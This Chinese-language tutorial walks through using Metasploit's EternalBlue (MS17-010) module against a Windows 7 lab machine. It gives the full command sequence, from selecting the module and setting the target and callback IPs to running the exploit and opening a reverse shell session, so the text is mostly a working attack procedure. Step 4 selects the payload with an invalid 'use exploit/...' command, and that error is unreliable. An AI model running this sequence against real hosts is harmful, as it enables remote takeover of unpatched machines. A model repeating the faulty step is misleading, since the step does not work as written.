metaspliot exploit模块介绍

metaspliot简介

metaspliot是一个漏洞框架，全称为The Metasploit  Framework,简称为MSF。

流程需求

• kali攻击机             192.168.3.26
• windows 7靶机    192.168.3.28   

实例演示--exploit模块介绍

1.使用use调用攻击模块

use exploit/windows/smb/ms17_010_eternalblue

2.设置攻击参数

运行命令"show options"。(rhosts 代表目标主机IP地址，rport代表目标主机端口)

3.设置目标主机IP地址

set   rhosts  192.168.3.28

4.使用反弹shell的payload

use exploit/windows/x64/shell_reverse_tcp

5.查看payload的配置信息

show  options

6.设置回连IP地址。（即本机IP地址）

set  lhost   192.168.3.26

7.在完成所有配置信息时，我们再次检验配置是否正确。

 show options

8.开始渗透攻击，运行命令，从图中我们可以看到渗透攻击已成功，生成一个会话。

 

exploit -j

9.我们查看会话，可以看到我们之前建立的会话。

show sessions

10.以交互的形式打开会话，从图中可以看出来，我们成功的获取了目标shell。

sessions -i 1

到这里就完成了mesploit exploit模块的介绍，如果想了解更多的Kali工具，请关注我！